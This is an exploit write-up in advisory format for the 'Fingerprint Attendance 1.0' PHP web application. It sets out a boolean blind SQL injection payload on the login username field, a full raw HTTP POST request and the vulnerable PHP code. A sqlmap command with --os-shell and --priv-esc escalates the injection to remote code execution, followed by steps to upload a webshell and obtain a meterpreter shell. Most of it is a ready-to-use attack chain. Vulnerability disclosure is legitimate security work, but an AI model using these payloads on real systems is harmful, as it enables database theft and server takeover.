# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/ # Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache # Steps # 1.- Go to : https://0day.gov/fingerprint/login.php # 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login # 3 - SQLi To RCE r00t # 4 - Ubload webshell # 5 - Web Shell to meterpreter full tty shell #vulnerability Code php --- ``` $user = $_POST['username']; $pass = sha1($_POST['password']); $passwrong = false; if(isSet($_POST["button"])) switch($_POST["button"]){ case "Login" : $passwrong = login($con, $user, $pass); //echo "Login"; break; } // ----------------- Inside if(isSet($_POST["button"]))---------------- ``` --- #Status: CRITICAL [+] Payload GET --- POST /fingerprint/src/ HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 61 Origin: http://0day.gov Connection: close Referer: http://0day.gov/fingerprint/src/ Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg Upgrade-Insecure-Requests: 1 username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login --- ``` --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login --- ``` #Blind SQLi Time to Rce #ُExploit sqlmap -r 0day_Hejap.txt -p username ' --hex --dbms=mysql --technique=b --random-agent --eta -D ad_39 -T login --dump --os-shell --priv-esc --forms --eta # Description: The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc # Proof and Exploit: https://i.imgur.com/uYBA1C3.png https://i.imgur.com/nQFdjNu.png